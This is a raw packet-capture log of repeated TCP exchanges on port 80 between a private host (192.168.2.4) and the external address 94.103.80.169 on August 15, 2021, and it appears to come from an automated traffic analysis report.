Aug 15, 2021 08:41:25.734189987 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.734383106 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.843668938 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:25.879940033 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:25.880089045 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.000837088 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.029123068 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.029237032 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.143809080 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.172173023 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.172321081 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.286891937 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.315418959 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.315515041 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.425534010 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.453597069 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.453855038 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.564438105 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.593527079 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.593717098 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.704009056 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.731934071 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.732165098 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.843956947 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.873761892 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:26.873944044 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:26.986898899 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.015539885 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.015798092 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.127629042 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.155276060 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.155479908 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.268179893 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.297322989 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.297581911 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.409156084 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.437262058 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.437552929 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.547921896 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.577269077 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.577450037 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.689896107 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.720134974 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.720355034 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.830635071 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.859318018 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.859519958 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.971299887 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:27.999391079 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:27.999583006 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.110837936 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.139986038 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.140189886 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.252255917 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.281100988 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.284044981 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.392187119 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.423228025 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.423609972 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.533765078 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.563303947 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.563400984 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.673829079 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.706337929 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.706445932 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.816323996 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.845257998 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.845360994 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.953279018 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:28.983310938 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:28.983408928 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.097352982 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.127068996 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.127315998 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.238106966 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.267462015 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.267775059 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.375869989 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.404022932 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.405208111 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.516772985 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.547728062 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.547910929 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.658113956 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.687426090 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.687455893 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.687721968 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.687944889 CEST	49773	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.717539072 CEST	80	49773	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.799004078 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.824688911 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.825001955 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.825571060 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.852193117 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.853254080 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.853384972 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.970575094 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:29.998630047 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:29.998833895 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.117327929 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.145984888 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:30.146261930 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.266320944 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.295480013 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:30.295677900 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.407059908 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.437087059 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:30.437271118 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.547710896 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.577460051 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:30.577665091 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.689320087 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.724085093 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:30.724303961 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.845515966 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.877758980 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:30.877943039 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:30.986499071 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.016500950 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.016671896 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.125696898 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.157535076 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.157708883 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.267107964 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.299623966 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.299841881 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.407644033 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.436254978 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.436434984 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.547473907 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.577574968 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.577713966 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.694520950 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.724661112 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.724805117 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.845343113 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.873574018 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:31.873663902 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:31.986738920 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.017416000 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.017524004 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.131488085 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.161737919 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.161881924 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.282960892 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.311850071 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.312020063 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.422581911 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.450871944 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.451137066 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.563899994 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.592959881 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.593143940 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.704591990 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.732373953 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.733648062 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.846467972 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.874214888 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:32.877669096 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:32.985490084 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.014182091 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.014370918 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.126281977 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.156846046 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.157047987 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.266243935 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.294946909 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.295607090 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.427385092 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.455549002 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.455733061 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.565370083 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.595383883 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.595586061 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.733690977 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.764555931 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.764750004 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.876316071 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:33.907006979 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:33.907182932 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.016551018 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.045164108 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.045401096 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.157865047 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.186908007 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.187170029 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.298474073 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.326220989 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.326431036 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.439127922 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.466850042 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.466980934 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.623728991 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.651345968 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.651428938 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.766340017 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.795511961 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.795602083 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.925777912 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:34.960199118 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:34.962605953 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.080219984 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.108684063 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.108784914 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.220974922 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.251565933 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.251636028 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.361156940 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.391781092 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.391861916 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.505480051 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.534225941 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.534653902 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.656791925 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.685606956 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.685717106 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.801090002 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.829612970 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.829765081 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.944547892 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:35.974486113 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:35.975866079 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.096313000 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.124401093 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.124490023 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.236061096 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.264789104 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.268300056 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.376727104 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.405467987 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.408263922 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.516910076 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.545325041 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.545607090 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.657167912 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.685103893 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.685297966 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.798264980 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.828035116 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.828239918 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.938472033 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:36.966784000 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:36.967011929 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.082228899 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.113262892 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.113380909 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.224112034 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.252360106 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.252547979 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.360704899 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.390271902 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.390369892 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.503911972 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.532056093 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.532161951 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.644288063 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.673245907 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.673399925 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.786103010 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.816118956 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.816335917 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.933557034 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:37.962193966 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:37.962347031 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.079906940 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.109641075 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.109728098 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.220885038 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.248995066 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.249167919 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.361381054 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.390398979 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.390532017 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.501970053 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.531258106 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.531451941 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.643055916 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.671427011 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.671727896 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.783716917 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.812885046 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.813085079 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.924102068 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:38.954097033 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:38.954310894 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.064352036 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.094197989 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.094414949 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.205543995 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.235569000 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.235810995 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.345871925 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.374190092 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.374366999 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.486907005 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.514784098 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.515001059 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.627473116 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.658567905 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.658664942 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.767935038 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.799040079 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.799278021 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.908979893 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:39.939724922 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:39.939922094 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.049819946 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.078862906 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.079006910 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.190154076 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.217607975 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.217818975 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.330662966 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.359003067 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.359204054 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.472590923 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.501223087 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.501347065 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.612379074 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.640433073 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.640614986 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.753097057 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.781860113 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.782028913 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.893443108 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:40.924165964 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:40.924432993 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.037590027 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.068203926 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.068303108 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.174376011 CEST	49774	80	192.168.2.4	94.103.80.169
Aug 15, 2021 08:41:41.206305981 CEST	80	49774	94.103.80.169	192.168.2.4
Aug 15, 2021 08:41:41.206397057 CEST	49774	80	192.168.2.4	94.103.80.169
